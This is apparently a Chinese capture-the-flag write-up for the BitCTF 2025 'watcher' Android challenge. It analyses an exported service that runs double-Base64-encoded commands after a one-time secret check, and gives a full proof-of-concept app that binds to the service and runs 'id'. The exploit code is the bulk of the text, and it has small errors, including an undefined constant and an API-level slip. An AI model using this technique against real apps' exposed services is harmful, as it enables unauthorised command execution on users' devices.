前置分析
题目描述
题目下载链接:https://github.com/0xbinder/BitCTF-2025/blob/main/watcher.apk
![image]()
打开modsf,获取到它的基本信息和暴露的组件
![image]()
Package Name: com.example.watcher
exported services:com.example.watcher.WatcherService
查看WatcherService的代码,可以发现它里面有命令执行相关的代码,纳米就可以利用它这个暴露的WatcherService来尝试进行命令执行
题目要求说的是编写一个app来触发命令执行,接下来就是看具体的交互和代码编写
代码分析
打开WatcherService.java,分析代码执行流程
主要处理这三个情况
1 2 3
| public static final int MSG_ECHO = 1; public static final int MSG_GET_SECRET = 2; public static final int MSG_RUN_COMMAND = 3;
|
case3和命令执行相关,里面包含了一个一次性secret的检查,下面是secret相关代码
1 2 3
| WatcherService.this.currentRequestedSecret = UUID.randomUUID().toString(); String providedSecret = message.getData().getString("secret"); else if (WatcherService.this.currentRequestedSecret == null || !WatcherService.this.currentRequestedSecret.equals(providedSecret))
|
如果成功的话,就会执行这个代码
1
| String commandOutput = Handlers.executeCommand(command);
|
那么现在点击Handlers来处理命令执行相关的代码
它这里有两个判断,如果sdk的版本大于26那么会对传入的数据进行两次base64解码,也就是说我们传入的初始字符要经过两次base64加密后再传入(我使用的sdk是29,所以我需要遵循两次加密)
1 2 3 4 5 6 7
| if (Build.VERSION.SDK_INT >= 26) { singleDecodedCommand = new String(Base64.getDecoder().decode(doubleEncodedCommand)); } String command = null; if (Build.VERSION.SDK_INT >= 26) { command = new String(Base64.getDecoder().decode(singleDecodedCommand)); }
|
解密没有问题后就会开始执行代码
1
| Process process = Runtime.getRuntime().exec(command);
|
为什么以API26为界限呢
因为java.util.Base64是在 Android API 级别 26 (Android 8.0 Oreo) 才被正式引入并保证可用的。API26之前是使用android.util.Base64。
在这题中没有处理API26之后的情况,如果是API26之后,解码步骤会被跳过,command会为null,程序无法执行
编写poc
IBinder 是一个通信接口,定义了外部应用可以如何与该 Service 交互,onBind 返回了 messenger.getBinder()。外部应用拿到这个 IBinder 后,就可以创建一个 Messenger 对象,从而能够向 WatcherService 的 IncomingHandler 发送 Message。
1 2 3 4
| public IBinder onBind(Intent intent) { return this.messenger.getBinder(); }
|
连接service
进行连接
绑定到目标service
1 2 3 4 5 6 7 8 9
| protected void onStart() { Intent intent = new Intent(); intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_SERVICE)); try { bindService(intent, mConnection, Context.BIND_AUTO_CREATE); } }
|
客户端通过调用 bindService() 绑定到服务。调用时,它必须提供 ServiceConnection 的实现,后者会监控与服务的连接。调用 bindService() 指示 请求的服务是否存在,以及是否允许客户端访问该服务。
时间 Android 系统会在客户端与服务之间创建连接, 致电 onServiceConnected() (在 ServiceConnection 上)。通过 onServiceConnected() 方法包含 IBinder 参数,客户端随后会使用该参数与绑定服务进行通信。
处理连接
1 2 3 4 5 6 7 8 9 10 11 12
| private final ServiceConnection mConnection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { mServiceMessenger = new Messenger(service); }
public void onServiceDisconnected (ComponentName name){ }
|
处理一次性secret
请求secret
1 2 3 4 5 6 7 8
| Message getSecretMsg = Message.obtain(null, MSG_GET_SECRET);
getSecretMsg.replyTo = mReplyMessenger; try { mServiceMessenger.send(getSecretMsg); }
|
存储secret
mReplyMessenger用ReplyHandler处理回复的信息
1 2 3 4 5 6 7 8 9
| String reply = msg.getData() != null ? msg.getData().getString(KEY_REPLY) : null;
switch (msg.what) { case MSG_GET_SECRET: mReceivedSecret = reply; sendCommand();
|
发送指令
准备指令
1 2 3 4 5 6 7 8
| String command = "id"; String doubleEncodedCommand = doubleEncodeBase64(command);
bundle.putString(KEY_SECRET, mReceivedSecret); bundle.putString(KEY_COMMAND, doubleEncodedCommand); runCmdMsg.setData(bundle);
|
进行指令的发送并处理消息回复
1 2
| runCmdMsg.replyTo = mReplyMessenger; mServiceMessenger.send(runCmdMsg);
|
完整的MainActivity.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212
| package com.example.watchpoc; import androidx.appcompat.app.AppCompatActivity; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Looper; import android.os.Message; import android.os.Messenger; import android.os.RemoteException; import android.util.Log; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import java.nio.charset.StandardCharsets; import java.util.Base64; public class MainActivity extends AppCompatActivity { private static final String TAG = "MinimalPOC"; private static final String TARGET_PACKAGE = "com.example.watcher"; private static final String TARGET_SERVICE = "com.example.watcher.WatcherService"; private static final int MSG_RUN_COMMAND = 3; private static final String KEY_SECRET = "secret"; private static final String KEY_COMMAND = "command"; private static final String KEY_REPLY = "reply"; private Messenger mServiceMessenger = null; private boolean mIsBound = false; private String mReceivedSecret = null; private final Messenger mReplyMessenger = new Messenger(new ReplyHandler(Looper.getMainLooper())); private Button buttonRun; private TextView textOutput; private class ReplyHandler extends Handler { public ReplyHandler(Looper looper) { super(looper); } @Override public void handleMessage(Message msg) { String reply = msg.getData() != null ? msg.getData().getString(KEY_REPLY) : null; Log.d(TAG, "Reply received: what=" + msg.what + ", reply=" + reply); switch (msg.what) { case MSG_GET_SECRET: if (reply != null && !reply.startsWith("Error")) { mReceivedSecret = reply; textOutput.append("\nSecret received: " + mReceivedSecret); sendCommand(); } else { textOutput.append("\nError getting secret: " + reply); Log.e(TAG, "Failed to get secret: " + reply); buttonRun.setEnabled(true); } break; case MSG_RUN_COMMAND: textOutput.append("\nCommand Output:\n" + reply); Log.i(TAG, "Command output received."); buttonRun.setEnabled(true); break; default: super.handleMessage(msg); } } } private final ServiceConnection mConnection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { mServiceMessenger = new Messenger(service); mIsBound = true; buttonRun.setEnabled(true); textOutput.setText("Service Connected. Ready."); Log.i(TAG, "Watcher Service connected."); } @Override public void onServiceDisconnected(ComponentName name) { mServiceMessenger = null; mIsBound = false; buttonRun.setEnabled(false); textOutput.setText("Service Disconnected."); Log.w(TAG, "Watcher Service disconnected."); } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); buttonRun = findViewById(R.id.button_run); textOutput = findViewById(R.id.text_output); buttonRun.setEnabled(false); buttonRun.setOnClickListener(v -> startExploit()); } @Override protected void onStart() { super.onStart(); textOutput.setText("Binding to Watcher Service..."); Intent intent = new Intent(); intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_SERVICE)); try { bindService(intent, mConnection, Context.BIND_AUTO_CREATE); } catch (Exception e) { textOutput.setText("Error binding: " + e.getMessage() + "\nIs Watcher installed?"); Log.e(TAG, "Error binding", e); } } @Override protected void onStop() { super.onStop(); if (mIsBound) { unbindService(mConnection); mIsBound = false; mServiceMessenger = null; buttonRun.setEnabled(false); Log.d(TAG, "Unbound from service."); } } private void startExploit() { if (!mIsBound) { Toast.makeText(this, "Service not bound", Toast.LENGTH_SHORT).show(); return; } buttonRun.setEnabled(false); textOutput.setText("Requesting secret..."); mReceivedSecret = null; Message getSecretMsg = Message.obtain(null, MSG_GET_SECRET); getSecretMsg.replyTo = mReplyMessenger; try { mServiceMessenger.send(getSecretMsg); Log.d(TAG, "Sent MSG_GET_SECRET"); } catch (RemoteException e) { textOutput.setText("Error sending get_secret: " + e.getMessage()); Log.e(TAG, "Failed to send MSG_GET_SECRET", e); buttonRun.setEnabled(true); } } private void sendCommand() { if (!mIsBound || mReceivedSecret == null) { textOutput.append("\nCannot send command (not bound or no secret)"); Log.e(TAG, "sendCommand called but not ready (bound=" + mIsBound + ", secret=" + mReceivedSecret + ")"); buttonRun.setEnabled(true); return; } textOutput.append("\nSending 'id' command..."); String command = "id"; String doubleEncodedCommand = doubleEncodeBase64(command); if (doubleEncodedCommand == null) { textOutput.append("\nError: Failed to Base64 encode command."); Log.e(TAG, "Double Base64 encoding failed"); buttonRun.setEnabled(true); return; } Message runCmdMsg = Message.obtain(null, MSG_RUN_COMMAND); Bundle bundle = new Bundle(); bundle.putString(KEY_SECRET, mReceivedSecret); bundle.putString(KEY_COMMAND, doubleEncodedCommand); runCmdMsg.setData(bundle); runCmdMsg.replyTo = mReplyMessenger; try { mServiceMessenger.send(runCmdMsg); Log.d(TAG, "Sent MSG_RUN_COMMAND"); } catch (RemoteException e) { textOutput.append("\nError sending command: " + e.getMessage()); Log.e(TAG, "Failed to send MSG_RUN_COMMAND", e); buttonRun.setEnabled(true); } } private String doubleEncodeBase64(String input) { try { byte[] singleEncoded = Base64.getEncoder().encode(input.getBytes(StandardCharsets.UTF_8)); byte[] doubleEncoded = Base64.getEncoder().encode(singleEncoded); return new String(doubleEncoded, StandardCharsets.UTF_8); } catch (Exception e) { Log.e(TAG, "Base64 encoding failed", e); return null; } } }
|
对应的activity_main.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" android:padding="16dp"> <Button android:id="@+id/button_run" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="Run 'id' command on Watcher" /> <TextView android:id="@+id/text_output" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="16dp" android:text="Output will appear here..." android:textAppearance="@style/TextAppearance.AppCompat.Medium" android:textIsSelectable="true"/> </LinearLayout>
|
![image]()